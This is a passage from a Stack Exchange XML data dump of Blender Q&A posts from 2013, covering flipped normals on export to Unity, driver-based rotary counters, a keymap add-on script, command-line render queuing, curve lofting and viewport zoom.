LastActivityDate="2020-10-06T02:04:03.633" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1489" PostTypeId="1" AcceptedAnswerId="1494" CreationDate="2013-06-28T18:22:59.990" Score="8" ViewCount="7511" Body="&lt;p&gt;I have modeled a simple pocket watch in Blender. Every time I import it into Unity3D, regardless of whether I export it from Blender as an FBX or 3ds file, it always comes out missing faces! Why is this happening? I have never had problems importing models into Unity3D like this before.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blender Screenshot&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QYfwp.png&quot; alt=&quot;Blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Unity Screenshots&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yEc5L.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hG0ml.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that different faces appear when I rotate it differently. How can I prevent this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="854" OwnerDisplayName="Keiran Paster" LastEditorUserId="47" LastEditDate="2013-06-29T06:31:34.117" LastActivityDate="2015-05-31T03:34:25.583" Title="Messed up Blender models when exporting to Unity3D" Tags="&lt;export&gt;&lt;external-applications&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1491" PostTypeId="1" AcceptedAnswerId="1492" CreationDate="2013-06-28T21:04:43.443" Score="8" ViewCount="480" Body="&lt;p&gt;I would like to know if is possible to create a simple python script to rotate these dials. What I want is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first ring from the left is rotated around the &lt;code&gt;Y axis&lt;/code&gt; by 40 degrees and when it reaches 40 degrees, the second ring is also rotated by 40 degrees and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could possibly be done with a &lt;em&gt;Copy Rotation&lt;/em&gt; constraint but what i'd also like is to create a sudden shift of the dial every 40 degrees or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4kf92.jpg&quot; alt=&quot;timer&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="55" LastEditDate="2013-06-28T22:02:12.650" LastActivityDate="2016-07-31T13:59:56.487" Title="How to rig a rotary counter?" Tags="&lt;scripting&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1492" PostTypeId="2" ParentId="1491" CreationDate="2013-06-28T21:13:35.820" Score="13" Body="&lt;h1&gt;Drive rotation of Empty2 by the rotation of Empty1&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Properties panel (&lt;kbd&gt;N&lt;/kbd&gt; to toggle):&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Right click on &lt;em&gt;Y-Rotation&lt;/em&gt; axis of &lt;em&gt;Empty2&lt;/em&gt; and select &lt;em&gt;Add Single Driver&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Drivers&lt;/em&gt; section of the &lt;em&gt;Graph Editor&lt;/em&gt;:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a variable &lt;code&gt;yrot&lt;/code&gt;, set &lt;em&gt;Object&lt;/em&gt; to &lt;em&gt;Empty1&lt;/em&gt; and type to &quot;Y-Rotation&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Set driver scripted expression to: &lt;code&gt;pi * ((180.0 * yrot / pi) // 40 * 10) / 180.0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This will give you an increase of 10° on &lt;em&gt;Y-Axis&lt;/em&gt; of &lt;em&gt;Empty2&lt;/em&gt; for every 40° on &lt;em&gt;Y-Axis&lt;/em&gt; of &lt;em&gt;Empty1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rvGMs.gif&quot; alt=&quot;Driver setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your image you'd do this for the &lt;em&gt;Y-Axis&lt;/em&gt; of your empties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need increments of 10 on different rotation speeds, change the 40 in the above formula to i.e. 50&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can chain empties setup like this by making the next empty always driven by the previous. So the variable you add should be chosen from the correct object. The formula stays the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main driving power behind this step-wise driving is the &lt;code&gt;//&lt;/code&gt; floor division operator, which does integer division.&lt;/p&gt;&#xA;" OwnerUserId="97" LastEditorUserId="20508" LastEditDate="2016-07-31T13:59:56.487" LastActivityDate="2016-07-31T13:59:56.487" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1493" PostTypeId="2" ParentId="1468" CreationDate="2013-06-28T21:38:41.053" Score="3" Body="&lt;p&gt;Instead of hiding the movie clip in such an laborious way, just select it and delete it. Make sure you have only the movie clip selected, and nothing else.&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2013-06-28T21:38:41.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1494" PostTypeId="2" ParentId="1489" CreationDate="2013-06-28T22:16:34.597" Score="9" Body="&lt;p&gt;This looks like you have flipped normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender draws double-sided by default, but you can enable &lt;strong&gt;Backface Culling&lt;/strong&gt; in the &lt;strong&gt;Display&lt;/strong&gt; panel &lt;em&gt;(one of the panels right hand side of the view-port)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also enable drawing normals which draws a line in the direction each face points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can use either of these draw options to check which way your normals are flipped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Normals flipped the wrong way in Blender, you can select all in editmode and run '&lt;em&gt;Mesh -&gt; Faces -&gt; Recalculate Normals&lt;/em&gt;' (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt;). &lt;strong&gt;OR&lt;/strong&gt; if they are &lt;strong&gt;all&lt;/strong&gt; the wrong way around: you can simply flip the normals. '&lt;em&gt;Mesh -&gt; Faces -&gt; Flip Normals&lt;/em&gt;')&lt;/li&gt;&#xA;&lt;li&gt;Negative scale on the object. Blender detects negative scaled objects and shows the faces pointing the right way, but many game engines will show normals flipped if you have a negative scaled object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-05-31T03:34:25.583" LastActivityDate="2015-05-31T03:34:25.583" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1495" PostTypeId="1" AcceptedAnswerId="1496" CreationDate="2013-06-29T01:20:26.113" Score="21" ViewCount="2248" Body="&lt;p&gt;I'm facing this frustrating &quot;feature&quot; that I can't seem to remedy; when I duplicate an object (and now, even when I create two completely new objects), their transformations/scaling is synchronized. This is extremely annoying when trying to use any sort of transformation keyboard shortcut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted by going to the properties menu (&lt;kbd&gt;N&lt;/kbd&gt;) and manually setting the properties works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, here is &lt;em&gt;just&lt;/em&gt; the camera selected (trust me, I made sure):&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BevTF.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I try to transform by clicking+dragging on the X axis OR by hitting &lt;kbd&gt;G&lt;/kbd&gt;-&gt;&lt;kbd&gt;X&lt;/kbd&gt;, this happens:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tsxUM.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are not grouped (verified by going to the Groups list up in the Scene panel) and they do not have parents (verified by going to &lt;em&gt;Object&lt;/em&gt;-&gt;&lt;em&gt;Relations&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the unlink command as well, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seriously run out of options; what did I change to have my &lt;kbd&gt;G&lt;/kbd&gt;-&gt;&lt;kbd&gt;X&lt;/kbd&gt; shortcuts transform multiple objects? It seems completely at random, too; certain objects seemed to be &quot;linked&quot; to other random objects, and this &quot;linking&quot; is guaranteed when duplicating &lt;em&gt;even when I do a non-linking duplicate&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gives?&lt;/p&gt;&#xA;" OwnerUserId="855" LastEditorUserId="32220" LastEditDate="2018-12-29T04:22:00.417" LastActivityDate="2018-12-29T04:22:00.417" Title="Duplicate objects transformation applies to both objects" Tags="&lt;transforms&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1496" PostTypeId="2" ParentId="1495" CreationDate="2013-06-29T02:16:32.223" Score="17" Body="&lt;p&gt;This could be...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Proportional editing, &lt;em&gt;(disable in 3d view header)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Objects can share an action (shared animation data), &lt;em&gt;(check the action space with each object selected)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;a constraint, check object constraints&lt;/li&gt;&#xA;&lt;li&gt;a driver &lt;em&gt;(unlikely this would be setup by accident, but drivers can do this still)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-06-29T03:50:00.363" LastActivityDate="2013-06-29T03:50:00.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1497" PostTypeId="1" AcceptedAnswerId="1498" CreationDate="2013-06-29T02:31:43.583" Score="11" ViewCount="2292" Body="&lt;p&gt;The add-on I've written defines several custom hotkeys, allowing the user to call custom menus created by the add-on. To be more user-friendly, I'd like to make it easy for the user to change the hotkeys for these menus without needing to dig through the massive keymap list under &lt;strong&gt;User Preferences &gt; Input&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so I have created &lt;strong&gt;AddonPreferences&lt;/strong&gt;, in which the user can adjust settings for the add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to pull in, and draw the specific keymap item (from &lt;strong&gt;Input&lt;/strong&gt;) within the &lt;strong&gt;AddonPreferences&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="44" LastActivityDate="2017-03-26T19:47:31.057" Title="How can I call a specific keymap to draw within my AddonPreferences?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1498" PostTypeId="2" ParentId="1497" CreationDate="2013-06-29T03:13:10.877" Score="10" Body="&lt;p&gt;You're likely the first person who has attempted this, and it looks like its quite possible;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Save this script to your addons dir with a unique name (ending with &lt;code&gt;.py&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;The keymaps are added as is normal for an addon.&lt;/li&gt;&#xA;&lt;li&gt;There is &lt;strong&gt;one bug&lt;/strong&gt; at the moment, pressing the 'X' buttons isn't properly removing them. &lt;em&gt;(needs further investigation we should be able to fix)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Finally - this uses a part of the API we consider internal, so its not guaranteed to work in future versions (realistically it probably wont change any time soon though).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&quot;name&quot;: &quot;KeyMap Test&quot;, &quot;category&quot;: &quot;Object&quot;}&#xA;&#xA;import bpy&#xA;from bpy.types import Operator, AddonPreferences&#xA;from bpy.props import StringProperty, IntProperty, BoolProperty&#xA;&#xA;# this is an internal API at the moment&#xA;import rna_keymap_ui&#xA;&#xA;&#xA;class ExampleAddonPreferences(AddonPreferences):&#xA;    # this must match the addon name, use '__package__'&#xA;    # when defining this in a submodule of a python package.&#xA;    bl_idname = __name__&#xA;&#xA;    filepath = StringProperty(&#xA;            name=&quot;Example File Path&quot;,&#xA;            subtype='FILE_PATH',&#xA;            )&#xA;    number = IntProperty(&#xA;            name=&quot;Example Number&quot;,&#xA;            default=4,&#xA;            )&#xA;    boolean = BoolProperty(&#xA;            name=&quot;Example Boolean&quot;,&#xA;            default=False,&#xA;            )&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.label(text=&quot;This is a preferences view for our addon&quot;)&#xA;        layout.prop(self, &quot;filepath&quot;)&#xA;        row = layout.row()&#xA;        row.prop(self, &quot;number&quot;)&#xA;        row.prop(self, &quot;boolean&quot;)&#xA;&#xA;        col = layout.column()&#xA;        kc = bpy.context.window_manager.keyconfigs.addon&#xA;        for km, kmi in addon_keymaps:&#xA;            km = km.active()&#xA;            col.context_pointer_set(&quot;keymap&quot;, km)&#xA;            rna_keymap_ui.draw_kmi([], kc, km, kmi, col, 0)&#xA;&#xA;&#xA;class OBJECT_OT_addon_prefs_example(Operator):&#xA;    &quot;&quot;&quot;Display example preferences&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.addon_prefs_example&quot;&#xA;    bl_label = &quot;Addon Preferences Example&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        user_preferences = context.user_preferences&#xA;        addon_prefs = user_preferences.addons[__name__].preferences&#xA;&#xA;        info = (&quot;Path: %s, Number: %d, Boolean %r&quot; %&#xA;                (addon_prefs.filepath, addon_prefs.number, addon_prefs.boolean))&#xA;&#xA;        self.report({'INFO'}, info)&#xA;        print(info)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;addon_keymaps = []&#xA;&#xA;# Registration&#xA;def register():&#xA;    bpy.utils.register_class(OBJECT_OT_addon_prefs_example)&#xA;    bpy.utils.register_class(ExampleAddonPreferences)&#xA;&#xA;    # Keymapping&#xA;    kc = bpy.context.window_manager.keyconfigs.addon&#xA;    km = kc.keymaps.new(name=&quot;3D View&quot;, space_type='VIEW_3D')&#xA;    kmi = km.keymap_items.new(&quot;object.editmode_toggle&quot;, 'NUMPAD_SLASH', 'PRESS', shift=True)&#xA;    kmi.active = True&#xA;    addon_keymaps.append((km, kmi))&#xA;    kmi = km.keymap_items.new(&quot;object.transform_apply&quot;, 'NUMPAD_SLASH', 'PRESS', shift=True)&#xA;    kmi.active = True&#xA;    addon_keymaps.append((km, kmi))&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(OBJECT_OT_addon_prefs_example)&#xA;    bpy.utils.unregister_class(ExampleAddonPreferences)&#xA;&#xA;    # handle the keymap&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-03-26T19:47:31.057" LastActivityDate="2017-03-26T19:47:31.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1499" PostTypeId="1" CreationDate="2013-06-29T05:44:49.620" Score="19" ViewCount="8521" Body="&lt;p&gt;I would like to be able to render several files one after the other, when I am not using my computer, e.g. at night. Is there a way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="55" LastEditDate="2016-07-11T13:41:52.763" LastActivityDate="2018-01-19T09:03:34.903" Title="Can blend files be queued for animation rendering?" Tags="&lt;rendering&gt;&lt;command-line&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1500" PostTypeId="5" CreationDate="2013-06-29T07:14:09.780" Score="0" Body="&lt;p&gt;Normals on the &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/normals.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender wiki&lt;/a&gt;, and &lt;a href=&quot;http://en.wikipedia.org/wiki/Normal_%28geometry%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;on Wikipedia&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="1224" LastEditDate="2016-11-24T21:03:27.920" LastActivityDate="2016-11-24T21:03:27.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1501" PostTypeId="4" CreationDate="2013-06-29T07:14:09.780" Score="0" Body="Normals describe how faces and vertices are oriented and can be used to aid various calculations and effects. This tag should be used for questions regarding normals in Blender, from uses to issues." OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-06-29T21:32:34.083" LastActivityDate="2013-06-29T21:32:34.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1502" PostTypeId="2" ParentId="1499" CreationDate="2013-06-29T07:59:52.730" Score="16" Body="&lt;p&gt;Sounds like a job for Command Line Rendering. Sounds intimidating if you've never done it, but it's a simple matter of stealing someone's template and adjusting the parameters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows: &lt;code&gt;blender -b &quot;C:\path\to\file.blend&quot; -x 1 -a&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux/Mac: &lt;code&gt;blender -b &quot;/path/to/file.blend&quot; -x 1 -a&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the simplest form of it which will use all the settings in the blend itself. &#xA;To make a cue of it, simply put '&amp;amp;&amp;amp;' between the commands:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;blender -b &quot;C:\path\to\file.blend&quot; -x 1 -a &amp;amp;&amp;amp; blender -b &quot;C:\some\other\project.blend&quot; -x 1 -a &amp;amp;&amp;amp; blender -b &quot;C:\yes\another\one.blend&quot; -x 1 -a&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To adjust settings like start and end frames, path of the outputed images/video, whether to render the animation or a single frame, check out the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Command_Line&quot;&gt;wiki page on Command Line Rendering&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also useful to tell it to shutdown your computer when it's finished simply by adding this at the end:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows: &lt;code&gt;&amp;amp;&amp;amp; shutdown /s /t 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux/Mac: &lt;code&gt;&amp;amp;&amp;amp; sudo shutdown -h now&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's one with start/end frame set, output path and format and shutdown when done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;blender -b &quot;C:\En Passant\08-08\shots\s1\awake\awake.blend&quot; -x 1 -o &quot;C:\En Passant\bear_render\awake\img_#&quot; -F PNG -s 119 -e 150 -a &amp;amp;&amp;amp; shutdown /s /t 0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if it doesn't recognize the 'blender' command, you just need to cd into the directory of the blender executable before it'll understand you. E.g:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows: &lt;code&gt;cd &quot;C:\Program Files\Blender Foundation\Blender&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linux/Mac: &lt;code&gt;cd &quot;/home/user/Downloads/Blender&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="55" LastEditDate="2013-06-29T21:34:02.520" LastActivityDate="2013-06-29T21:34:02.520" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="1503" PostTypeId="1" CreationDate="2013-06-29T10:24:35.377" Score="13" ViewCount="6184" Body="&lt;p&gt;I am try to make a car Body using the technique like UV loft in 3ds Max.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to apply this technique in  Blender using curves or closer to this technique? I have seen this technique in a Blender tutorial, but I forgot about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b88uC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="857" LastEditorUserId="12" LastEditDate="2013-11-17T20:32:43.447" LastActivityDate="2019-02-18T11:11:28.400" Title="How to make UV loft like 3ds Max in Blender using curves?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1504" PostTypeId="1" AcceptedAnswerId="1529" CreationDate="2013-06-29T10:38:11.907" Score="3" ViewCount="1296" Body="&lt;p&gt;I accidentally changed the rotation of the finger control &lt;em&gt;(selected, cyan or blue color in the image&lt;/em&gt;)  but now I don't have a glue how the orientation could be reset. Moving the original bone in &lt;em&gt;Edit Mode&lt;/em&gt; doesn't work. How can I reset the position of this Control to point to  the same direction as the other finger controls do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LgXke.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-06-29T21:45:06.403" LastActivityDate="2013-06-29T21:45:06.403" Title="How can I reset the Rotation of a Meta-Rig Control?" Tags="&lt;rigify&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1505" PostTypeId="2" ParentId="313" CreationDate="2013-06-29T10:59:24.927" Score="6" Body="&lt;h1&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Command-line_interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;Command-line&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;blender -b one.blend -a two.blend -a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Run &lt;code&gt;blender -h&lt;/code&gt; (or &lt;code&gt;man blender&lt;/code&gt;) to &lt;a href=&quot;https://docs.blender.org/manual/en/latest/advanced/command_line/render.html#command-line-rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of options with descriptions&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/video_editing/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video sequencer&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;(If in separate files) &lt;a href=&quot;https://blender.stackexchange.com/questions/81/&quot;&gt;link&lt;/a&gt; the desired scenes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/863/290&quot;&gt;Add scene strips to the VSE&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Render.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;(Distributed) rendering manager&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://netblend.sourceforge.net/distriblend/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Distriblend&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.drqueue.org/cwebsite/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DrQueue&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://loki-render.berlios.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Loki Render&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/yadra/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yadra&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cgru.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CGRU (Afanasy)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://oenvoyage.github.io/brender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Brender&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Performance/Netrender&quot; rel=&quot;nofollow noreferrer&quot;&gt;Netrender&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="290" LastEditorUserId="15924" LastEditDate="2020-12-10T22:09:11.350" LastActivityDate="2020-12-10T22:09:11.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1506" PostTypeId="2" ParentId="1503" CreationDate="2013-06-29T11:13:47.097" Score="6" Body="&lt;p&gt;&lt;strong&gt;I am not sure about UV lofting&lt;/strong&gt;.. but there is an addon now bundled with Blender called &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Curve_Tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Curve Tools&lt;/a&gt;&lt;/em&gt;. &lt;em&gt;It might not be as powerful as Max's or exactly what you want but it might suit your current needs.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add several curves to the scene and under &lt;em&gt;Curve Tools&lt;/em&gt; in the &lt;kbd&gt;N&lt;/kbd&gt; panel, hit &lt;em&gt;Loft&lt;/em&gt;. The wiki page has some useful information and videos if you need a quick place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/P8WRA.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P8WRA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://i.picasion.com/pic70/8023db1bfa09b7bd53e52808de94871e.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;picasion.com&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are finished, a mesh is made separate from the curves so you can continue editing or tweaking them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A reminder, this isn't &lt;em&gt;UV&lt;/em&gt; lofting but it can be a solution nonetheless. One obvious limitation that you might notice is you have to use several curves as opposed to one comprised of several segments.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;em&gt;nb:&lt;/em&gt; I had originally written up an answer for this elsewhere but since it wasn't what OP intended or wanted at the time, I think it can be put here as a separate possible solution to your question, see the other post &lt;a href=&quot;https://blender.stackexchange.com/questions/746/lofting-between-splines&quot;&gt;here&lt;/a&gt;.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="32220" LastEditDate="2019-02-18T11:11:28.400" LastActivityDate="2019-02-18T11:11:28.400" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1507" PostTypeId="2" ParentId="1504" CreationDate="2013-06-29T12:13:29.833" Score="3" Body="&lt;p&gt;After reseting the rotation &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; while the finger control was selected (as suggested by iKlsR) I had to enable the &lt;em&gt;Tweak Layer&lt;/em&gt; (highlighted in the image) after that the finger could be repostioned by the circle shaped controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8ldQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-06-29T12:13:29.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1508" PostTypeId="1" AcceptedAnswerId="1510" CreationDate="2013-06-29T16:36:42.017" Score="26" ViewCount="83250" Body="&lt;p&gt;I am using blender on a tablet, for those times when I can't plug a mouse into the tablet, I would like to still be able to zoom in and out on the viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What ways are there to zoom in and out other than using the mouse wheel? I can't find any buttons or input boxes in the user interface that control the zoom of the view port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to enter a value somewhere for how far in or out the viewport is zoomed?&lt;/p&gt;&#xA;" OwnerDisplayName="user1595" LastEditorUserId="12" LastEditDate="2013-06-29T17:05:08.667" LastActivityDate="2016-08-27T05:45:27.797" Title="Zoom in and out without a mouse wheel" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
